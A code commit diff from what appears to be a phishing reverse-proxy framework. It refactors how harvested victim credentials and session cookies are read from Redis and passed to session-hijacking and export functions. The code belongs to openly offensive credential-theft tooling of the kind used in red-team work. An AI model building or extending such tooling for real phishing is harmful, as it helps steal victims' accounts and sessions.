Fixed inefficient implementation in database

core/db/victim.go

@@ -22,9 +22,6 @@ type Victim struct {
 	CredsCount          int    `redis:"creds_count"`
 	CookieJar           string `redis:"cookiejar_id"`
 	SessionInstrumented bool   `redis:"session_instrumented"`
-
-	Cookies     []VictimCookie     `redis:"-"`
-	Credentials []VictimCredential `redis:"-"`
 }
 
 // VictimCredential: a set of credentials associated to a Victim
@@ -181,98 +178,74 @@ func GetVictim(victimID string) (*Victim, error) {
 		return nil, err
 	}
 
-	// TODO: Review the autopopulate below, it might be a bullshit because it stress out the Redis.
-
-	// Populate Credentials
-	err = v.GetCredentials()
-	if err != nil {
-		return nil, err
-	}
-
-	// Populate Cookies
-	err = v.GetVictimCookiejar()
-	if err != nil {
-		return nil, err
-	}
-
 	return &v, nil
 }
 
-// GetCredentials retrieves the credentials of a Victims stored in the database.
-// This function populates the Victim.Credentials property.
+// GetCredentials returns a slice of VictimCredential belonging to a Victim.
 //
 // Redis commands:
 // HGETALL victim:Victim.ID:creds:...
-//
-// FIXME: Consider to rename this method to a more semantic one
-func (v *Victim) GetCredentials() error {
+func (v *Victim) GetCredentials() ([]VictimCredential, error) {
 	rc := session.RedisPool.Get()
 	defer rc.Close()
 
-	v.Credentials = []VictimCredential{}
-	//cKeys, err := redis.Values(rc.Do("KEYS", fmt.Sprintf("victim:%s:creds:*", v.ID)))
-	cKeys, err := ScanAll(fmt.Sprintf("victim:%s:creds:*", v.ID))
-	if err != nil {
-		return err
-	}
+	var credentials []VictimCredential
 
-	for _, k := range cKeys {
-		creds, err := redis.Values(rc.Do("HGETALL", k))
+	for i := 0; i < v.CredsCount; i++ {
+		key := fmt.Sprintf("victim:%s:creds:%d", v.ID, i)
+		creds, err := redis.Values(rc.Do("HGETALL", key))
 		if err != nil {
 			log.Error("%v", err)
 			continue
 		}
 
 		var vc VictimCredential
-		err = redis.ScanStruct(creds, &vc)
-		if err != nil {
+		if err = redis.ScanStruct(creds, &vc); err != nil {
 			log.Error("%v", err)
 			continue
 		}
 
-		v.Credentials = append(v.Credentials, vc)
+		credentials = append(credentials, vc)
 	}
 
-	return nil
+	return credentials, nil
 }
 
-// GetVictimCookiejar retrieves the Cookie jar of a Victims stored in the database.
-// This function populates the Victim.Cookies property.
+// GetCookieJar returns a slice of VictimCookie belonging to a Victim.
 //
 // Redis commands:
-// HGETALL victim:Victim.ID:creds:...
-//
-// FIXME: Consider to rename this method to a more semantic one
-func (v *Victim) GetVictimCookiejar() error {
+// HGETALL victim:Victim.ID:cookiejar:*
+func (v *Victim) GetCookieJar() ([]VictimCookie, error) {
 	rc := session.RedisPool.Get()
 	defer rc.Close()
 
-	v.Cookies = []VictimCookie{}
-
-	//	cKeys, err := redis.Values(rc.Do("KEYS", fmt.Sprintf("victim:%s:cookiejar:*", v.ID)))
-	cKeys, err := ScanAll(fmt.Sprintf("victim:%s:cookiejar:*", v.ID))
+	key := fmt.Sprintf("victim:%s:cookiejar_entries", v.ID)
+	values, err := redis.Strings(rc.Do("LRANGE", key, "0", "-1"))
 	if err != nil {
-		return err
+		return nil, err
 	}
 
-	for _, k := range cKeys {
-		cookies, err := redis.Values(rc.Do("HGETALL", k))
+	var cookiejar []VictimCookie
+	for _, name := range values {
+		var cookie VictimCookie
+
+		key = fmt.Sprintf("victim:%s:cookiejar:%s", v.ID, name)
+		value, err := redis.Values(rc.Do("HGETALL", key))
 		if err != nil {
 			log.Error("%v", err)
 			continue
 		}
 
-		var vc VictimCookie
-		err = redis.ScanStruct(cookies, &vc)
+		err = redis.ScanStruct(value, &cookie)
 		if err != nil {
 			log.Error("%v", err)
 			continue
 		}
 
-		v.Cookies = append(v.Cookies, vc)
+		cookiejar = append(cookiejar, cookie)
 	}
 
-	return nil
+	return cookiejar, nil
 }
 
 // GetAllVictims fetches all the stored Victim(s) in the database

module/necrobrowser/necrobrowser.go

@@ -6,6 +6,8 @@ import (
 	"strings"
 	"time"
 
+	"github.com/evilsocket/islazy/tui"
+
 	"github.com/muraenateam/muraena/log"
 
 	"gopkg.in/resty.v1"
@@ -41,6 +43,7 @@ type Necrobrowser struct {
 }
 
 // Cookies
+// Fixme: can't we use the VictimCookie struct? (db/victim)
 type SessionCookie struct {
 	Name     string `json:"name"`
 	Value    string `json:"value"`
@@ -147,7 +150,14 @@ func (module *Necrobrowser) CheckSessionCookies() {
 	for _, v := range victims {
 		cookiesFound := 0
 		cookiesNeeded := len(triggerValues)
-		for _, cookie := range v.Cookies {
+
+		victimCookies, err := v.GetCookieJar()
+		if err != nil {
+			module.Error("Unable to retrieve victim: %s cookies. %v", tui.Bold(v.ID), err)
+			continue
+		}
+
+		for _, cookie := range victimCookies {
 			if Contains(&triggerValues, cookie.Name) {
 				cookiesFound++
 			}
@@ -155,7 +165,7 @@ func (module *Necrobrowser) CheckSessionCookies() {
 
 		// if we find the cookies, and the session has not been already instrumented (== false), then instrument
 		if cookiesNeeded == cookiesFound && !v.SessionInstrumented {
-			module.Instrument(v.Cookies, "[]") // TODO add credentials JSON, instead of passing empty [] array
+			module.Instrument(victimCookies, "[]") // TODO add credentials JSON, instead of passing empty [] array
 			// prevent the session to be instrumented twice
 			_ = db.SetSessionAsInstrumented(v.ID)
 		}

module/tracking/tracking.go

@@ -488,7 +488,13 @@ func (t *Trace) HijackSession(request *http.Request) (err error) {
 	}
 
 	// Pass credentials
-	creds, err := json.MarshalIndent(victim.Credentials, "", "\t")
+	victimCredentials, err := victim.GetCredentials()
+	if err != nil {
+		t.Error("Unable to retrieve victim: %s credentials. %v", tui.Bold(victim.ID), err)
+		return
+	}
+
+	creds, err := json.MarshalIndent(victimCredentials, "", "\t")
 	if err != nil {
 		t.Warning(err.Error())
 	}
@@ -499,7 +505,13 @@ func (t *Trace) HijackSession(request *http.Request) (err error) {
 	} else {
 		nb, ok := m.(*necrobrowser.Necrobrowser)
 		if ok {
-			go nb.Instrument(victim.Cookies, string(creds))
+			victimCookies, err := victim.GetCookieJar()
+			if err != nil {
+				t.Error("Unable to retrieve victim: %s cookies. %v", tui.Bold(victim.ID), err)
+				return err
+			}
+
+			go nb.Instrument(victimCookies, string(creds))
 		}
 	}
 

module/tracking/victim.go

@@ -44,11 +44,17 @@ func (module *Tracker) ShowCredentials() {
 		module.Debug("error fetching all victims: %s", err)
 		return
 	}
-
 	module.Debug("There are %d victims", len(victims))
-	for _, vID := range victims {
-		for _, c := range vID.Credentials {
-			rows = append(rows, []string{tui.Bold(tui.Green(vID.ID)), c.Key, c.Value, c.Time})
+
+	for _, victim := range victims {
+		credentials, err := victim.GetCredentials()
+		if err != nil {
+			module.Error("Unable to retrieve victim: %s credentials. %v", tui.Bold(victim.ID), err)
+			continue
+		}
+
+		for _, c := range credentials {
+			rows = append(rows, []string{tui.Bold(tui.Green(victim.ID)), c.Key, c.Value, c.Time})
 		}
 	}
 
@@ -65,10 +71,16 @@ func (module *Tracker) ExportSession(id string) {
 		module.Debug("error fetching victim %d: %s", id, err)
 	}
 
+	victimCookies, err := victim.GetCookieJar()
+	if err != nil {
+		module.Error("Unable to retrieve victim: %s cookies. %v", tui.Bold(victim.ID), err)
+		return
+	}
+
 	// this extra loop and struct is needed since browsers expect the expiration time in unix time, so also different type
 	var cookieJar []necrobrowser.SessionCookie
 
-	for _, c := range victim.Cookies {
+	for _, c := range victimCookies {
 		log.Debug("trying to parse  %s  with layout  %s", c.Expires, timeLayout)
 		t, err := time.Parse(timeLayout, c.Expires)
 		if err != nil {